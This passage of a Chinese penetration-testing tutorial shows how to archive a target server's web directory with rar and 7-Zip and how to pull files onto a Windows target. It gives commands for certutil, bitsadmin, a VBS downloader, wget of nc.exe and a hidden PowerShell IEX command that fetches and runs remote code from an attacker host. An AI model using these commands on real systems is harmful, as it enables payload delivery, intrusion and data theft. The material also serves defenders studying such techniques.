分卷压缩C盘web目录下的所有文件及文件夹(使用 -r 参数进行递归压缩),设置每个分卷为20MB,结构为 test.part1.rar、test.part2.rar、test.part3.rar ...命令如下

rar.exe a -m0 -r -v20m C:\tests.rar C:\web

1641822645402

接着我们继续将我们压缩的文件进行解压

rar.exe x C:\web.part1.rar c:\test

使用7-Zip工具进行解压缩

7-Zip是一款免费且开源的压缩软件。与其他软件相比,7-Zp有更高的压缩比;与winrar相比,7-Zip对系统资源的消耗较少。7-Zip轻巧、无须安装,功能与同类型的收费软件相近。下载地址:https://www.7-zip.org/

 7-Zip的常用参数列举如下
    -r:递归压缩
    -o:指定输出目录。
    -p: 指定密码
    -v:分卷压缩(设置要适当,否则文件会非常多)
    -a:添加压缩文件。
    如果目标机器上装有7-Zip,可以直接使用。如果没有安装,可以在本地下载并安Zip安装目录里的7zexc文件提取出来,上传到目标机器中。

1.普通解压/压缩方式

将C:web目录下的所有内容(包括子目录)打包为1.7z,放到C:web目录下,压缩密码为alexsel,命令如下

7z.exe a -r -p123456 C:\web\1.7z C:\web

1641823965130

把已经打包的C:web1.7z文件解压到C:x目录下

7z.exe x -p123456 C:\web\1.7z -oC:\x

2.分卷压缩/解压方式

分卷压缩C盘webcode目录下的所有文件及文件夹(使用 -r 参数进行递归压缩),指定压缩密码为“123456”,设置每个分卷为20MB,结构为 test.7z.001、 test.7z.002、test.7z.003....

7z.exe -v1m -padmin a C:\test.7z C:\web

解压文件的方法,将C:test.7z.001解压到C:xl文件目录下

7z.exe x -padmin C:\test.7z.001 -oC:\xl

上传和下载

对于不用直接上传而且只能通过命令行执行的Windows服务器,我们可以通过以下的方法对文件进行上传和下载。

利用python搭建文件下载服务

这里我们利用python环境搭建文件下载环境,这里python3和python2环境所执行的命令分别如下,这里我们需要在所要共享的文件目录下执行

python2
python -m SimpleHTTPServer 7777
python3
python -m http.server 8080

1641876540695

然后直接访问IP:8080/1.rar即可下载文件

利用VBS上传

这里我们主要使用的是msxm12.xmlhttp和adodb.stream对象。将以下命令保存到download.vbs文件中

echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs
echo Post.Open "GET","http://server_ip/target.exe",0 >>download.vbs
echo Post.Send() >>download.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs
echo aGet.Mode = 3 >>download.vbs
echo aGet.Type = 1 >>download.vbs
echo aGet.Open() >>download.vbs
echo aGet.Write(Post.responseBody) >>download.vbs
echo aGet.SaveToFile " C:/test/target.exe",2 >>download.vbs

1641878693214

执行上述命令之后,我们可以通过执行如下命令来下载target.exe文件

Cscript download.vbs

利用bitsadmin上传文件

Bitsadmin是一个命令行工具,Windows xp以后的版本中自带该工具,例如Windows Update程序就依靠它来下载文件,因此我们也可以进行利用,其中123是任务号。

bitsadmin /transfer 123 http://server_ip/target.exe C:\hello.exe

利用certutil进行文件下载

Windows有一个名为CertUtil的内置程序,可用于在Windows中管理证书,CertUtil的一个特性是能够从远程URL下载证书或任何其他文件。

certutil -urlcache -split -f http://server_ip/target.exe

但是这样下载会留下缓存文件,我们用以下命令删除缓存

删除缓存:certutil -urlcache -split -f http://172.16.12.128/NC.exe delete
缓存目录:”%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content”

使用powershell进行下载

本地下载:
powershell (new-object System.Net.WebClient).DownloadFile('http://server_ip/target.exe','target.exe')
远程执行:
powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://server_ip/target.exe'))"

使用WGET进行下载

我们首先在https://eternallybored.org/misc/wget/下载wget,然后执行如下命令进行下载

wget.exe -O "nc.exe" http://server_ip/target.exe
最后修改:2024 年 03 月 05 日
如果觉得我的文章对你有用,请随意赞赏